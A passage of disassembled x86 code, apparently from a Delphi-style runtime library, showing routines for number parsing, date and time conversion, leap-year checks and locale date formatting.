and al, 0Fh
loc_40008CCA: ; CODE XREF: sub_40008C23+86j
add al, 30h
stosb
dec ecx
jnz short loc_40008CBA
mov eax, edi
lea ecx, [ebx+edx+3]
sub eax, ecx
loc_40008CD8: ; CODE XREF: sub_40008C23+BCj
mov byte ptr [edi], 0
dec edi
cmp byte ptr [edi], 30h
jz short loc_40008CD8
mov edx, [esi+4]
shr edx, 1Fh
jmp short loc_40008CF0
; ---------------------------------------------------------------------------
loc_40008CE9: ; CODE XREF: sub_40008C23+9j
; sub_40008C23+8Bj
xor eax, eax
xor edx, edx
mov [ebx+3], al
loc_40008CF0: ; CODE XREF: sub_40008C23+C4j
mov [ebx], ax
mov [ebx+2], dl
retn
sub_40008C23 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_40008AD4
loc_40008CF7: ; CODE XREF: sub_40008AD4+1Ej
; sub_40008AD4+28j
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
retn 8
; END OF FUNCTION CHUNK FOR sub_40008AD4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40008D00 proc near ; CODE XREF: sub_40008E74+11p
; sub_40008E90+14p ...
var_8 = word ptr -8
var_5 = byte ptr -5
var_4 = dword ptr -4
; FUNCTION CHUNK AT 40008E0D SIZE 00000007 BYTES
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
push edi
push esi
push ebx
mov esi, eax
mov edi, edx
mov [ebp+var_4], 0
mov al, ds:byte_4001E80F
mov [ebp+var_5], al
mov ebx, ecx
fstcw [ebp+var_8]
fclex
fldcw word_4001A874
fldz
call sub_40008DB7
mov bh, [esi]
cmp bh, 2Bh
jz short loc_40008D3E
cmp bh, 2Dh
jnz short loc_40008D3F
loc_40008D3E: ; CODE XREF: sub_40008D00+37j
inc esi
loc_40008D3F: ; CODE XREF: sub_40008D00+3Cj
mov ecx, esi
call sub_40008DC2
xor edx, edx
mov al, [esi]
cmp al, [ebp+var_5]
jnz short loc_40008D57
inc esi
call sub_40008DC2
neg edx
loc_40008D57: ; CODE XREF: sub_40008D00+4Dj
cmp ecx, esi
jz short loc_40008DAA
mov al, [esi]
and al, 0DFh
cmp al, 45h
jnz short loc_40008D6D
inc esi
push edx
call sub_40008DDE
pop eax
add edx, eax
loc_40008D6D: ; CODE XREF: sub_40008D00+61j
call sub_40008DB7
cmp byte ptr [esi], 0
jnz short loc_40008DAA
mov eax, edx
cmp bl, 1
jnz short loc_40008D81
add eax, 4
loc_40008D81: ; CODE XREF: sub_40008D00+7Cj
push ebx
mov ebx, [ebp+var_4]
call sub_40003870
pop ebx
cmp bh, 2Dh
jnz short loc_40008D92
fchs
loc_40008D92: ; CODE XREF: sub_40008D00+8Ej
cmp bl, 0
jz short loc_40008D9B
fistp qword ptr [edi]
jmp short loc_40008D9D
; ---------------------------------------------------------------------------
loc_40008D9B: ; CODE XREF: sub_40008D00+95j
fstp tbyte ptr [edi]
loc_40008D9D: ; CODE XREF: sub_40008D00+99j
fstsw ax
test ax, 9
jnz short loc_40008DAC
mov al, 1
jmp short loc_40008DAE
; ---------------------------------------------------------------------------
loc_40008DAA: ; CODE XREF: sub_40008D00+59j
; sub_40008D00+75j
fstp st
loc_40008DAC: ; CODE XREF: sub_40008D00+A4j
xor eax, eax
loc_40008DAE: ; CODE XREF: sub_40008D00+A8j
fclex
fldcw [ebp+var_8]
wait
jmp short loc_40008E0D
sub_40008D00 endp
; =============== S U B R O U T I N E =======================================
sub_40008DB7 proc near ; CODE XREF: sub_40008D00+2Dp
; sub_40008D00:loc_40008D6Dp ...
lodsb
or al, al
jz short loc_40008DC0
cmp al, 20h
jz short sub_40008DB7
loc_40008DC0: ; CODE XREF: sub_40008DB7+3j
dec esi
retn
sub_40008DB7 endp
; =============== S U B R O U T I N E =======================================
sub_40008DC2 proc near ; CODE XREF: sub_40008D00+41p
; sub_40008D00+50p
xor eax, eax
xor edx, edx
loc_40008DC6: ; CODE XREF: sub_40008DC2+18j
lodsb
sub al, 3Ah
add al, 0Ah
jnb short loc_40008DDC
fimul flt_4001A870
mov [ebp-0Ch], eax
fiadd dword ptr [ebp-0Ch]
inc edx
jmp short loc_40008DC6
; ---------------------------------------------------------------------------
loc_40008DDC: ; CODE XREF: sub_40008DC2+9j
dec esi
retn
sub_40008DC2 endp
; =============== S U B R O U T I N E =======================================
sub_40008DDE proc near ; CODE XREF: sub_40008D00+65p
xor eax, eax
xor edx, edx
mov cl, [esi]
cmp cl, 2Bh
jz short loc_40008DEE
cmp cl, 2Dh
jnz short loc_40008DEF
loc_40008DEE: ; CODE XREF: sub_40008DDE+9j
inc esi
loc_40008DEF: ; CODE XREF: sub_40008DDE+Ej
; sub_40008DDE+25j
mov al, [esi]
sub al, 3Ah
add al, 0Ah
jnb short loc_40008E05
inc esi
imul edx, 0Ah
add edx, eax
cmp edx, 1F4h
jb short loc_40008DEF
loc_40008E05: ; CODE XREF: sub_40008DDE+17j
cmp cl, 2Dh
jnz short locret_40008E0C
neg edx
locret_40008E0C: ; CODE XREF: sub_40008DDE+2Aj
retn
sub_40008DDE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_40008D00
loc_40008E0D: ; CODE XREF: sub_40008D00+B5j
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_40008D00
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40008E14 proc near ; CODE XREF: sub_400116DC+104p
; sub_400116DC+125p ...
var_40 = byte ptr -40h
arg_0 = byte ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFC0h
push ebx
mov ebx, eax
push 0
push 0Fh
push 0
lea edx, [ebp+arg_0]
lea eax, [ebp+var_40]
xor ecx, ecx
call sub_40008800
mov ecx, eax
lea edx, [ebp+var_40]
mov eax, ebx
call sub_40004974
pop ebx
mov esp, ebp
pop ebp
retn 0Ch
sub_40008E14 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40008E44 proc near ; CODE XREF: sub_4000D0E8+38p
var_40 = byte ptr -40h
arg_0 = byte ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFC0h
push ebx
mov ebx, eax
push 0
push 0
push 0
lea edx, [ebp+arg_0]
lea eax, [ebp+var_40]
mov cl, 1
call sub_40008800
mov ecx, eax
lea edx, [ebp+var_40]
mov eax, ebx
call sub_40004974
pop ebx
mov esp, ebp
pop ebp
retn 8
sub_40008E44 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40008E74 proc near ; CODE XREF: sub_40007F40+12p
; sub_400101AC+66p
push ebx
push esi
mov esi, edx
mov ebx, eax
mov eax, ebx
call sub_40004D48
mov edx, esi
xor ecx, ecx
call sub_40008D00
pop esi
pop ebx
retn
sub_40008E74 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40008E90 proc near ; CODE XREF: sub_4000CF24+35p
; sub_40010874+83p
var_14 = tbyte ptr -14h
push ebx
push esi
add esp, 0FFFFFFF4h
mov esi, edx
mov ebx, eax
mov eax, ebx
call sub_40004D48
mov edx, esp
xor ecx, ecx
call sub_40008D00
test al, al
jz short loc_40008EB3
fld [esp+14h+var_14]
fstp qword ptr [esi]
wait
loc_40008EB3: ; CODE XREF: sub_40008E90+1Bj
add esp, 0Ch
pop esi
pop ebx
retn
sub_40008E90 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40008EBC proc near ; CODE XREF: sub_4000CEB8+35p
var_14 = tbyte ptr -14h
push ebx
push esi
add esp, 0FFFFFFF4h
mov esi, edx
mov ebx, eax
mov eax, ebx
call sub_40004D48
mov edx, esp
xor ecx, ecx
call sub_40008D00
test al, al
jz short loc_40008EDF
fld [esp+14h+var_14]
fstp dword ptr [esi]
wait
loc_40008EDF: ; CODE XREF: sub_40008EBC+1Bj
add esp, 0Ch
pop esi
pop ebx
retn
sub_40008EBC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40008EE8 proc near ; CODE XREF: sub_4000CFFC+35p
; sub_40010E0C+66p
push ebx
push esi
mov esi, edx
mov ebx, eax
mov eax, ebx
call sub_40004D48
mov edx, esi
mov cl, 1
call sub_40008D00
pop esi
pop ebx
retn
sub_40008EE8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_40008F04(double)
sub_40008F04 proc near ; CODE XREF: sub_40008FB8+1Cp
; sub_4000911C+1Dp ...
var_C = qword ptr -0Ch
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
mov ecx, eax
fld [ebp+arg_0]
fmul flt_4001A878[ebx]
sub esp, 8
fistp [esp+0Ch+var_C]
wait
pop eax
pop edx
or edx, edx
jns short loc_40008F33
neg edx
neg eax
sbb edx, 0
div dword_4001A87C[ebx]
neg eax
jmp short loc_40008F39
; ---------------------------------------------------------------------------
loc_40008F33: ; CODE XREF: sub_40008F04+1Cj
div dword_4001A87C[ebx]
loc_40008F39: ; CODE XREF: sub_40008F04+2Dj
add eax, 0A955Ah
mov [ecx], edx
mov [ecx+4], eax
pop ebx
pop ebp
retn 8
sub_40008F04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40008F48 proc near ; CODE XREF: sub_4000A518+1CEp
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
push esi
mov esi, [ebp+arg_4]
mov [ebp+var_1], 0
cmp ax, 18h
jnb short loc_40008FA9
cmp dx, 3Ch
jnb short loc_40008FA9
cmp cx, 3Ch
jnb short loc_40008FA9
cmp si, 3E8h
jnb short loc_40008FA9
movzx eax, ax
imul eax, 36EE80h
movzx edx, dx
imul edx, 0EA60h
add eax, edx
movzx edx, cx
imul edx, 3E8h
add eax, edx
movzx edx, si
add eax, edx
mov [ebp+var_8], eax
fild [ebp+var_8]
fdiv ds:flt_40008FB4
mov eax, [ebp+arg_0]
fstp qword ptr [eax]
wait
mov [ebp+var_1], 1
loc_40008FA9: ; CODE XREF: sub_40008F48+12j
; sub_40008F48+18j ...
movzx eax, [ebp+var_1]
pop esi
pop ecx
pop ecx
pop ebp
retn 8
sub_40008F48 endp
; ---------------------------------------------------------------------------
flt_40008FB4 dd 8.64e7 ; DATA XREF: sub_40008F48+51r
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_40008FB8(int,double)
sub_40008FB8 proc near ; CODE XREF: sub_400093D4+31p
var_C = dword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = qword ptr 0Ch
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp+var_4]
push eax
push dword ptr [ebp+arg_4+4]
push dword ptr [ebp+arg_4] ; double
lea eax, [ebp+var_C]
call sub_40008F04
mov eax, [ebp+var_C]
lea ecx, [ebp+var_2]
mov dx, 0EA60h
call sub_4000797C
push esi
mov ecx, ebx
movzx eax, [ebp+var_2]
mov dx, 3Ch
call sub_4000797C
mov eax, [ebp+arg_0]
push eax
mov ecx, edi
movzx eax, [ebp+var_4]
mov dx, 3E8h
call sub_4000797C
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 0Ch
sub_40008FB8 endp
; =============== S U B R O U T I N E =======================================
sub_40009014 proc near ; CODE XREF: sub_40009050+19p
; sub_4000911C+EFp
push ebx
push esi
mov ecx, eax
movzx eax, cx
and eax, 3
test eax, eax
jnz short loc_40009043
movzx ebx, cx
mov eax, ebx
mov esi, 64h
xor edx, edx
div esi
test edx, edx
jnz short loc_40009048
mov eax, ebx
mov ecx, 190h
xor edx, edx
div ecx
test edx, edx
jz short loc_40009048
loc_40009043: ; CODE XREF: sub_40009014+Cj
xor eax, eax
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40009048: ; CODE XREF: sub_40009014+1Ej
; sub_40009014+2Dj
mov al, 1
pop esi
pop ebx
retn
sub_40009014 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40009050 proc near ; CODE XREF: sub_4000A1CC+2F7p
var_8 = dword ptr -8
var_3 = byte ptr -3
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
push ebx
push esi
push edi
mov ebx, ecx
mov edi, edx
mov [ebp+var_2], ax
mov [ebp+var_3], 0
movzx eax, [ebp+var_2]
call sub_40009014
and eax, 7Fh
lea eax, [eax+eax*2]
lea esi, dword_4001A7FC[eax*8]
cmp [ebp+var_2], 1
jb loc_4000910C
cmp [ebp+var_2], 270Fh
ja short loc_4000910C
cmp di, 1
jb short loc_4000910C
cmp di, 0Ch
ja short loc_4000910C
cmp bx, 1
jb short loc_4000910C
movzx eax, di
cmp bx, [esi+eax*2-2]
ja short loc_4000910C
movzx eax, di
dec eax
test eax, eax
jle short loc_400090C0
mov ecx, 1
loc_400090B7: ; CODE XREF: sub_40009050+6Ej
add bx, [esi+ecx*2-2]
inc ecx
dec eax
jnz short loc_400090B7
loc_400090C0: ; CODE XREF: sub_40009050+60j
movzx ecx, [ebp+var_2]
dec ecx
mov eax, ecx
mov esi, 64h
cdq
idiv esi
imul esi, ecx, 16Dh
mov edx, ecx
test edx, edx
jns short loc_400090DE
add edx, 3
loc_400090DE: ; CODE XREF: sub_40009050+89j
sar edx, 2
add esi, edx
sub esi, eax
mov eax, ecx
mov ecx, 190h
cdq
idiv ecx
add esi, eax
movzx eax, bx
add esi, eax
sub esi, 0A955Ah
mov [ebp+var_8], esi
fild [ebp+var_8]
mov eax, [ebp+arg_0]
fstp qword ptr [eax]
wait
mov [ebp+var_3], 1
loc_4000910C: ; CODE XREF: sub_40009050+30j
; sub_40009050+3Cj ...
movzx eax, [ebp+var_3]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
retn 4
sub_40009050 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_4000911C(int,double)
sub_4000911C proc near ; CODE XREF: sub_40009268+13p
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = qword ptr 0Ch
push ebp
mov ebp, esp
add esp, 0FFFFFFE8h
push ebx
push esi
mov [ebp+var_C], ecx
mov [ebp+var_8], edx
mov [ebp+var_4], eax
mov ebx, [ebp+arg_0]
push dword ptr [ebp+arg_4+4]
push dword ptr [ebp+arg_4] ; double
lea eax, [ebp+var_18]
call sub_40008F04
mov ecx, [ebp+var_14]
test ecx, ecx
jg short loc_40009169
mov eax, [ebp+var_4]
mov word ptr [eax], 0
mov eax, [ebp+var_8]
mov word ptr [eax], 0
mov eax, [ebp+var_C]
mov word ptr [eax], 0
mov word ptr [ebx], 0
xor edx, edx
jmp loc_4000925B
; ---------------------------------------------------------------------------
loc_40009169: ; CODE XREF: sub_4000911C+27j
mov eax, ecx
mov esi, 7
cdq
idiv esi
inc edx
mov [ebx], dx
dec ecx
mov bx, 1
cmp ecx, 23AB1h
jl short loc_40009197
loc_40009184: ; CODE XREF: sub_4000911C+79j
sub ecx, 23AB1h
add bx, 190h
cmp ecx, 23AB1h
jge short loc_40009184
loc_40009197: ; CODE XREF: sub_4000911C+66j
lea eax, [ebp+var_E]
push eax
lea eax, [ebp+var_10]
mov dx, 8EACh
xchg eax, ecx
call sub_4000797C
cmp [ebp+var_10], 4
jnz short loc_400091B9
dec [ebp+var_10]
add [ebp+var_E], 8EACh
loc_400091B9: ; CODE XREF: sub_4000911C+91j
imul ax, [ebp+var_10], 64h
add bx, ax
lea eax, [ebp+var_E]
push eax
lea ecx, [ebp+var_10]
movzx eax, [ebp+var_E]
mov dx, 5B5h
call sub_4000797C
movzx eax, [ebp+var_10]
add eax, eax
add eax, eax
add bx, ax
lea eax, [ebp+var_E]
push eax
lea ecx, [ebp+var_10]
movzx eax, [ebp+var_E]
mov dx, 16Dh
call sub_4000797C
cmp [ebp+var_10], 4
jnz short loc_40009205
dec [ebp+var_10]
add [ebp+var_E], 16Dh
loc_40009205: ; CODE XREF: sub_4000911C+DDj
add bx, [ebp+var_10]
mov eax, ebx
call sub_40009014
mov edx, eax
movzx eax, dl
lea eax, [eax+eax*2]
lea esi, dword_4001A7FC[eax*8]
mov ax, 1
loc_40009223: ; CODE XREF: sub_4000911C+126j
movzx ecx, ax
movzx ecx, word ptr [esi+ecx*2-2]
mov [ebp+var_10], cx
movzx ecx, [ebp+var_E]
cmp cx, [ebp+var_10]
jb short loc_40009244
movzx ecx, [ebp+var_10]
sub [ebp+var_E], cx
inc eax
jmp short loc_40009223
; ---------------------------------------------------------------------------
loc_40009244: ; CODE XREF: sub_4000911C+11Bj
mov ecx, [ebp+var_4]
mov [ecx], bx
mov ecx, [ebp+var_8]
mov [ecx], ax
movzx eax, [ebp+var_E]
inc eax
mov ecx, [ebp+var_C]
mov [ecx], ax
loc_4000925B: ; CODE XREF: sub_4000911C+48j
mov eax, edx
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 0Ch
sub_4000911C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_40009268(double)
sub_40009268 proc near ; CODE XREF: sub_4000939C+2Ap
var_2 = dword ptr -2
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, eax
push dword ptr [ebp+arg_0+4]
push dword ptr [ebp+arg_0] ; double
lea eax, [ebp+var_2]
push eax ; int
mov eax, esi
call sub_4000911C
pop esi
pop ecx
pop ebp
retn 8
sub_40009268 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_40009288(double)
sub_40009288 proc near ; CODE XREF: sub_400096A8+2B3p
; sub_400096A8+2DAp ...
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = qword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
push dword ptr [ebp+arg_0+4]
push dword ptr [ebp+arg_0] ; double
lea eax, [ebp+var_8]
call sub_40008F04
mov eax, [ebp+var_4]
mov ecx, 7
cdq
idiv ecx
mov eax, edx
inc eax
pop ecx
pop ecx
pop ebp
retn 8
sub_40009288 endp
; =============== S U B R O U T I N E =======================================
sub_400092B0 proc near ; CODE XREF: sub_4000A170+14p
; sub_4000A1CC+1A5p ...
var_10 = word ptr -10h
add esp, 0FFFFFFF0h
push esp
call sub_40006588 ; GetLocalTime
movzx eax, [esp+10h+var_10]
add esp, 10h
retn
sub_400092B0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400092C4 proc near ; CODE XREF: sub_40009308+12p
; sub_40009324+3Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
mov ecx, [ebp+arg_0]
mov ebx, 100h
sub ebx, [ecx-104h]
cmp edx, ebx
jge short loc_400092DC
mov ebx, edx
loc_400092DC: ; CODE XREF: sub_400092C4+14j
test ebx, ebx
jz short loc_400092FA
mov edx, [ebp+arg_0]
mov edx, [edx-104h]
mov ecx, [ebp+arg_0]
lea edx, [ecx+edx-100h]
mov ecx, ebx
call sub_40002DFC
loc_400092FA: ; CODE XREF: sub_400092C4+1Aj
mov eax, [ebp+arg_0]
add [eax-104h], ebx
pop ebx
pop ebp
retn
sub_400092C4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40009308 proc near ; CODE XREF: sub_400096A8+1D2p
; sub_400096A8+1FFp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov edx, eax
test edx, edx
jz short loc_40009316
sub edx, 4
mov edx, [edx]
loc_40009316: ; CODE XREF: sub_40009308+7j
mov ecx, [ebp+arg_0]
push ecx
call sub_400092C4
pop ecx
pop ebp
retn
sub_40009308 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40009324 proc near ; CODE XREF: sub_400096A8+18Dp
; sub_400096A8+1A5p ...
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFE0h
push ebx
push esi
mov esi, edx
mov ebx, eax
mov eax, [ebp+arg_0]
push eax
push 4
mov [ebp+var_20], esi
mov [ebp+var_1C], 0
mov [ebp+var_18], ebx
mov [ebp+var_14], 0
lea eax, [ebp+var_20]
push eax
push 1
mov ecx, offset dword_4001A880
lea eax, [ebp+var_10]
mov edx, 10h
call sub_40008314
mov edx, eax
lea eax, [ebp+var_10]
call sub_400092C4
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40009324 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40009370 proc near ; CODE XREF: sub_400096A8+162p
; sub_400096A8+1B1p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
mov eax, [ebp+arg_0]
add eax, 0FFFFFFFCh
mov edx, [eax]
jmp short loc_40009380
; ---------------------------------------------------------------------------
loc_4000937E: ; CODE XREF: sub_40009370+1Bj
inc dword ptr [eax]
loc_40009380: ; CODE XREF: sub_40009370+Cj
mov ecx, [eax]
movzx ecx, byte ptr [ecx]
mov ebx, [ebp+arg_0]
cmp cl, [ebx-5]
jz short loc_4000937E
mov eax, [eax]
sub eax, edx
inc eax
mov edx, [ebp+arg_0]
mov [edx-0Ch], eax
pop ebx
pop ebp
retn
sub_40009370 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000939C proc near ; CODE XREF: sub_400096A8+169p
; sub_400096A8+1B8p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp byte ptr [eax-13h], 0
jnz short loc_400093D2
mov eax, [ebp+arg_0]
mov eax, [eax+8]
push dword ptr [eax+0Ch]
push dword ptr [eax+8] ; double
mov eax, [ebp+arg_0]
lea ecx, [eax-12h]
mov eax, [ebp+arg_0]
lea edx, [eax-10h]
mov eax, [ebp+arg_0]
add eax, 0FFFFFFF2h
call sub_40009268
mov eax, [ebp+arg_0]
mov byte ptr [eax-13h], 1
loc_400093D2: ; CODE XREF: sub_4000939C+Aj
pop ebp
retn
sub_4000939C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400093D4 proc near ; CODE XREF: sub_400096A8+324p
; sub_400096A8+428p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp byte ptr [eax-1Dh], 0
jnz short loc_40009411
mov eax, [ebp+arg_0]
mov eax, [eax+8]
push dword ptr [eax+0Ch]
push dword ptr [eax+8] ; double
mov eax, [ebp+arg_0]
add eax, 0FFFFFFE4h
push eax ; int
mov eax, [ebp+arg_0]
lea ecx, [eax-1Ah]
mov eax, [ebp+arg_0]
lea edx, [eax-18h]
mov eax, [ebp+arg_0]
add eax, 0FFFFFFEAh
call sub_40008FB8
mov eax, [ebp+arg_0]
mov byte ptr [eax-1Dh], 1
loc_40009411: ; CODE XREF: sub_400093D4+Aj
pop ebp
retn
sub_400093D4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40009414 proc near ; CODE XREF: sub_400096A8+1C9p
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = byte ptr -114h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_E = word ptr -0Eh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFEE4h
push ebx
push esi
xor ecx, ecx
mov [ebp+var_11C], ecx
mov [ebp+var_4], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push offset loc_40009576
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, ebx
call sub_40004884
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax-0Eh]
mov [ebp+var_14], ax
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax-10h]
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax-12h]
mov [ebp+var_E], ax
lea eax, [ebp+var_4]
mov edx, offset dword_4000958C
call sub_4000491C
push 100h
lea eax, [ebp+var_114]
push eax
mov eax, [ebp+var_4]
call sub_40004D48
push eax
lea eax, [ebp+var_14]
push eax
push 4
call sub_400065C8 ; GetThreadLocale
push eax
call sub_40006568 ; GetDateFormatA
test eax, eax
jz loc_40009555
mov eax, ebx
lea edx, [ebp+var_114]
mov ecx, 100h
call sub_40004AF4
dec esi
jnz loc_40009555
mov eax, ds:dword_4001E8CC
sub eax, 4
jz short loc_400094E8
sub eax, 0Dh
jnz loc_40009555
push ebx
mov eax, [ebx]
mov edx, 1
call sub_4000BAF0
mov ecx, eax
mov eax, [ebx]
mov edx, 1
call sub_40004DA8
jmp short loc_40009555
; ---------------------------------------------------------------------------
loc_400094E8: ; CODE XREF: sub_40009414+ACj
cmp ds:dword_4001E8D0, 1
jnz short loc_40009555
mov eax, [ebx]
mov [ebp+var_118], eax
mov esi, [ebp+var_118]
test esi, esi
jz short loc_40009508
sub esi, 4
mov esi, [esi]
loc_40009508: ; CODE XREF: sub_40009414+EDj
mov eax, [ebx]
mov edx, esi
call sub_4000B950
cmp eax, 4
jnz short loc_40009555
mov eax, [ebx]
mov edx, 3
call sub_4000BA6C
mov esi, eax
lea eax, [ebp+var_114]
add esi, eax
dec esi
lea eax, [ebp+var_11C]
mov edx, esi
call sub_40004A7C
mov eax, [ebp+var_11C]
mov edx, 2
call sub_4000BAF0
mov ecx, eax
mov eax, ebx
mov edx, esi
call sub_40004974
loc_40009555: ; CODE XREF: sub_40009414+85j
; sub_40009414+9Ej ...
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000957D
loc_40009562: ; CODE XREF: sub_40009414+167j
lea eax, [ebp+var_11C]
call sub_40004884
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_40009576: ; DATA XREF: sub_40009414+1Do
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40009562
; ---------------------------------------------------------------------------
loc_4000957D: ; CODE XREF: sub_40009414+161j
; DATA XREF: sub_40009414+149o
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40009414 endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 2
dword_4000958C dd 6767h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40009590 proc near ; CODE XREF: sub_400096A8+1F6p
var_118 = dword ptr -118h
var_114 = byte ptr -114h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_E = word ptr -0Eh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFEE8h
push ebx
push esi
xor ecx, ecx
mov [ebp+var_4], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push offset loc_4000967E
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, ebx
call sub_40004884
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax-0Eh]
mov [ebp+var_14], ax
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax-10h]
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax-12h]
mov [ebp+var_E], ax
cmp esi, 2
jg short loc_400095EE
lea eax, [ebp+var_4]
mov edx, offset dword_40009694
call sub_4000491C
jmp short loc_400095FB
; ---------------------------------------------------------------------------
loc_400095EE: ; CODE XREF: sub_40009590+4Dj
lea eax, [ebp+var_4]
mov edx, offset aYyyy ; "yyyy"
call sub_4000491C
loc_400095FB: ; CODE XREF: sub_40009590+5Cj
push 100h
lea eax, [ebp+var_114]
push eax
mov eax, [ebp+var_4]
call sub_40004D48
push eax
lea eax, [ebp+var_14]
push eax
push 4
call sub_400065C8 ; GetThreadLocale
push eax
call sub_40006568 ; GetDateFormatA
test eax, eax
jz short loc_40009668
mov eax, ebx
lea edx, [ebp+var_114]
mov ecx, 100h
call sub_40004AF4
dec esi
jnz short loc_40009668
mov eax, [ebx]
cmp byte ptr [eax], 30h
jnz short loc_40009668
mov eax, [ebx]
mov [ebp+var_118], eax
mov esi, [ebp+var_118]
test esi, esi
jz short loc_40009658
sub esi, 4
mov esi, [esi]
loc_40009658: ; CODE XREF: sub_40009590+C1j
push ebx
mov ecx, esi
dec ecx
mov eax, [ebx]
mov edx, 2
call sub_40004DA8
loc_40009668: ; CODE XREF: sub_40009590+93j
; sub_40009590+A8j ...
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40009685
loc_40009675: ; CODE XREF: sub_40009590+F3j
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000967E: ; DATA XREF: sub_40009590+17o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40009675
; ---------------------------------------------------------------------------
loc_40009685: ; CODE XREF: sub_40009590+EDj
